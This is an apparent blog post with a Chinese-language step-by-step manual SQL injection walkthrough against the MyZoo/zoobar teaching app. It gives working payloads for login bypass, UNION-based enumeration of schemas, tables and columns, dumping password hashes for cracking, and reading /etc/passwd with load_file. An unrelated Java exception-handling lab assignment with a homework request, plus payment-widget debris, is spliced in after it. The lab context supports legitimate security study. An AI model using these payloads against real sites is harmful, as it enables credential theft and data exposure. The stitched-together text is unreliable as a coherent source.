MyZoo简单手工注入

1.简单注入:
1)登录界面,用户名填入:' or 1=1#
2)密码填入:' or 1=1#
3)登录任意用户。
2.完整注入:
1)查用户profile界面,要查找的用户填入:' and 1<>1
2)得到错误信息:MySQL Query fail: SELECT Profile, Username, Zoobars FROM Person WHERE Username='' and  1<>1'
3)单引号没闭合,发生错误,显示要查询的字段有3个,分别是Profile,Username,Zoobars
   User处填写:' and 1=2 union select SCHEMA_NAME,2,3 from information_schema.SCHEMATA limit 4,1#
   其中union select SCHEMA_NAME,2,3表示在第1个字段显示库名,我的库名是zoobar.
(5)mysql用户权限:User处填入:test' and ord(mid(user(),1,1))=115#(test是我自己的一个用户),提示无法找到用户,如下图所示:
重新改为:test' and ord(mid(user(),1,1))=114# 显示正常,说明是root权限(可以做很多事情)
(6)暴表:
   User:test' and 1=2 union select TABLE_NAME,2,3 from information_schema.TABLES where TABLE_SCHEMA ='zoobar'#,
Profile下可以看到只有一个“Person”表,如下图所示:
7)继续暴字段: User填入: test' and 1=2 union select COLUMN_NAME,2,3 from information_schema.COLUMNS where TABLE_NAME ='Person'#

这里只显示了一个字段(貌似只能显示一行?),继续暴其他字段,User填入:test' and 1=2 union select COLUMN_NAME,2,3 from information_schema.COLUMNS where TABLE_NAME ='Person' limit 1,1#(第1个“1”表示显示第2条记录,第1条记录的索引是0,第二个“1”表示一共显示1条记录),得到字段Password,以此类推,再得到UserName字段,得到这两个字段就可以去暴帐号密码了。

8)暴密码: User填入:test' and 1=2 union select UserName,2,Password from Person limit 0,1# 结果发现只显示用户名,右击查看源码,发现密码在Class标签里面,不过是MD5加密的了
这个时候可以拿加密后的密码到破解MD5的网站去跑,密码简单的华很容易得到真实密码,到这里暴密码的过程结束。 (9)load_file 测试: User填入:test' and 1=2 union select load_file('/etc/passwd'),2,3 #,成功显示:
当然这里大家可以去窥探更敏感的信息。
10)测试导出文件,貌似失败了,不知道什么原因: User处填入:test' and 1=2 union select 'fuckzoobar',2,3 into outfile '/home/fuck/Desktop/a.txt' #


一、实验目的 (1)使学生掌握try…catch语句和finally语句的使用,能够使用try…catch语句和finally语句处理异常。 (2)使学生掌握throws关键字的使用,能够使用throws关键字声明异常。 (3)使学生掌握如何自定义异常,能够编写自定义异常类。 (4)让学生理解内部类的概念以及如何在实际问题中使用内部类来实现更加紧凑和封装的代码设计。 (5)使学生熟悉Java中的常用类(如String、Math等)和正则表达式的使用,以及如何应用它们解决实际问题。 二、实验仪器设备、试剂或材料 JDK、IntelliJ IDEA 三、实验原理 1、 try…catch语句 (1)为了使异常后的程序代码正常执行,程序需要捕获异常并进行处理,Java提供了try…catch语句用于捕获并处理异常。 (2)try…catch语句的语法格式如下所示。 try{ 代码块 }catch(ExceptionType e){ 代码块 } (3)编写try…catch语句的注意事项。  try代码块是必需的。  catch代码块可以有多个,但捕获父类异常的catch代码块必须位于捕获子类异常的catch代码块后面。  catch代码块必须位于try代码块之后。 2、finally语句 (1)finally代码块的作用:在程序中,有时候会希望一些语句无论程序是否发生异常都要执行,这时就可以在try…catch语句后,加一个finally代码块。 (2)使用finally代码块的注意事项:finally代码块是try…catch…finally或try…finally结构的一部分,finally代码块只能出现在try…catch或try代码块之后,不能单独出现。 (3)try…catch…finally实现异常处理的语法结构如下所示。 try{ 代码块 }catch(ExceptionType e){ 代码块 } finally{ 代码块 } 3、 throws关键字 (1)使用throws声明方法的作用:Java中允许在方法的后面使用throws关键字声明该方法有可能发生的异常,这样调用者在调用方法时,就明确地知道该方法有异常,并且必须在程序中对异常进行处理,否则编译无法如通过。 (2)使用throws关键字抛出异常的语法格式如下: 修饰符 返回值类型 方法名(参数1,参数2,…)throws 异常类1, 异常类2,…{ 方法体 } 4-自定义异常 (1)自定义异常类的示例代码如下所示。 public class DivideByMinusException extends Exception{ public DivideByMinusException (){ super(); // 调用Exception无参的构造方法 } public DivideByMinusException (String message){ super(message); // 调用Exception有参的构造方法 } } (2)使用throw关键字在方法中声明异常的实例对象,语法格式下。 throw Exception异常对象 三、实验内容与步骤 1. 按要求编写程序: (1) 定义外部类 Zoo,包含一个成员变量 zooName(动物园名称)。 (2)在 Zoo 中定义成员内部类 Dog,实现 Animal 接口(需自定义,含 void makeSound() 方法),重写方法输出“[动物园名称]的小狗:汪汪汪~”。 (3)在 Zoo 中定义一个方法 addCat(),方法内使用匿名类实现 Animal 接口,重写方法输出“[动物园名称]的小猫:喵喵喵~”,并调用 makeSound()。 (4)编写主方法,创建 Zoo 对象,实例化内部类 Dog 并调用叫声方法,再调用 addCat() 方法。 帮我分开package完成实验
最新发布
12-06
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值